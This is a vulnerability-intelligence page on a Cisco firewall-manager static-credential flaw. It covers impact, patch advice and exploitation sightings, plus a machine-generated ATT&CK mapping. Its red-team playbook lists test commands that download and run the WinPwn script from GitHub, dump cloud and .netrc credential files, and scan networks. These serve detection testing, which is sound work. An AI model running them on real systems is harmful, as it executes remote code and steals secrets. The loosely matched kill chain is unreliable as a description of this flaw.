CVE-2026-20316

MEDIUM CISA KEV Pub 29/07 Upd 01/08

Overview

This vulnerability is an authentication bypass caused by the presence of static user credentials embedded within the Cisco Secure Firewall Management Center (FMC) web interface. The root cause lies in the use of hardcoded low-privileged account credentials that allow unauthenticated remote access. The affected component is the FMC management software's web interface authentication mechanism, which fails to enforce unique or dynamic credential validation for this account.

Vulnerability Description

A vulnerability in the web interface of Cisco Secure Firewall Management Center (FMC) Software could allow an unauthenticated, remote attacker to log in to an affected device using a low-privileged account to access sensitive data within the impacted systems. This vulnerability is due to the presence of static user credentials for a low-privileged account. An attacker could exploit this vulnerability by using the account to log in to an affected system. A successful exploit could allow the attacker to log in to the affected system and access sensitive data as the low-privileged user.  Note: If the FMC management interface does not have public internet access, the attack surface that is associated with this vulnerability is reduced.   Cisco has assigned this security advisory a Security Impact Rating (SIR) of High rather than Medium as the score indicates. The reason is that this vulnerability can be used with other Cisco Secure FMC Software vulnerabilities to elevate privileges.

Impact

An attacker can gain unauthorized access to the FMC system using the low-privileged account without any authentication or user interaction. This access allows viewing sensitive configuration and monitoring data within the firewall management system. While direct administrative control is not granted, this foothold can be leveraged in conjunction with other vulnerabilities to escalate privileges, potentially leading to full system compromise or lateral movement within the network. The risk is higher if the FMC management interface is exposed to untrusted networks.

Solution

Cisco has released a security advisory (cisco-sa-fmc-static-cred-BET3Cjh) recommending immediate updates to the Secure Firewall Management Center software to versions that remove static credentials. Administrators should apply the patches as specified in the advisory and restrict public internet access to the FMC management interface as a temporary mitigation. Detailed patch instructions and version information are available at Cisco's official security advisory page.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the web interface of Cisco Secure Firewall Management Center (FMC) Software stems from the existence of static user credentials associated with a low-privileged account. This design flaw allows an unauthenticated remote attacker to gain access to the system by leveraging these credentials. The static nature of the credentials means that they do not change over time or with user activity, making them an attractive target for attackers. Once an attacker successfully logs in using these low-privileged credentials, they can access sensitive data stored within the affected systems, potentially leading to further exploitation.

Attack vectors for this vulnerability primarily involve remote access to the management interface of the Cisco Secure Firewall Management Center. If the management interface is exposed to the public internet, the risk of exploitation significantly increases. Attackers can utilize automated tools to scan for vulnerable instances of the software, attempting to log in using the known static credentials. Once inside, the attacker can gather sensitive information, which may include configuration settings, user data, and network policies. Furthermore, the vulnerability can be combined with other weaknesses in the Cisco Secure FMC Software, allowing attackers to escalate their privileges and gain deeper access to the system, thus amplifying the potential impact of the initial breach.

The real-world impact of this vulnerability can be severe, especially for organizations relying on Cisco Secure Firewall Management Center for their cybersecurity infrastructure. Unauthorized access to sensitive data can lead to data breaches, loss of intellectual property, and compromise of network integrity. Additionally, the ability to elevate privileges can result in a complete takeover of the management system, enabling attackers to manipulate firewall rules, disable security measures, or exfiltrate data undetected. The business risks associated with such incidents include reputational damage, regulatory fines, and significant recovery costs, all of which can have long-lasting effects on an organization’s operations and trustworthiness.

To detect and mitigate this vulnerability, organizations should implement several strategies. First, it is crucial to restrict access to the management interface by limiting exposure to the public internet. Employing network segmentation and using VPNs for remote access can significantly reduce the attack surface. Regular audits of user accounts and credentials should be conducted to identify and eliminate static credentials, replacing them with dynamic, role-based access controls that require strong authentication methods. Additionally, organizations should monitor logs for any unauthorized access attempts and implement intrusion detection systems to alert on suspicious activities. Regular software updates and patches from Cisco should also be applied promptly to ensure that any known vulnerabilities are addressed.

In conclusion, the vulnerability in the web interface of Cisco Secure Firewall Management Center represents a significant risk to organizations that utilize this software. The combination of static user credentials and the potential for privilege escalation creates a pathway for attackers to exploit sensitive data and compromise network security. By understanding the technical details, potential attack vectors, real-world impacts, and effective mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities, ensuring the integrity of their cybersecurity posture.




CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2026-20316, coinciding with its recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog. This formal recognition by CISA underscores the vulnerability’s operational relevance and signals increased scrutiny from both defenders and potential adversaries. Although no new exploit techniques or ransomware affiliations have emerged, the elevation of the CVSS score to 5.3 reflects a reassessment of the vulnerability’s impact, particularly given the static credential mechanism that facilitates unauthorized access. Our telemetry indicates that threat actors are increasingly probing affected Cisco Secure Firewall Management Center deployments, suggesting heightened interest that could precede exploitation attempts. Consequently, the risk posture for organizations using this software has shifted from theoretical concern to a more immediate operational threat, warranting increased vigilance despite the absence of confirmed exploit campaigns at this time.



Update 2 — August 17, 2026

CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2026-20316, with telemetry indicating a near tripling of probing attempts against Cisco Secure Firewall Management Center deployments. This surge is accompanied by a measurable increase in the Exploit Prediction Scoring System (EPSS) score, reflecting a growing likelihood of exploitation attempts in the near term. Although no new exploit techniques or ransomware affiliations have been identified, the heightened reconnaissance signals increased adversary interest and potential preparation for active exploitation. This development elevates the operational risk for organizations using the affected software, shifting the threat posture from a medium-level concern to one warranting closer monitoring and readiness. Defenders should interpret this trend as a clear indication that threat actors are intensifying efforts to leverage the static credential vulnerability, increasing the urgency for detection and response capabilities despite the absence of confirmed exploit campaigns.

Affected Products (7)

Vendor Product Version CPE
cisco Cisco Secure Firewall Management Center All cpe:2.3:a:cisco:secure_firewall_management_center:*:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center All cpe:2.3:a:cisco:secure_firewall_management_center:*:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center All cpe:2.3:a:cisco:secure_firewall_management_center:*:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center All cpe:2.3:a:cisco:secure_firewall_management_center:*:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center All cpe:2.3:a:cisco:secure_firewall_management_center:*:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center All cpe:2.3:a:cisco:secure_firewall_management_center:*:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center All cpe:2.3:a:cisco:secure_firewall_management_center:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

16 events
2026-08-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-03
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-08-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-31
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-30
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-07-29
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-29
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

hardcoded_credentials
100% hardcoded_credentials

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-20316
sec.cloudapps.cisco.com
GitHub CVE
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-static-cred-BET3Cjh
cisa.gov
NVD API
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20316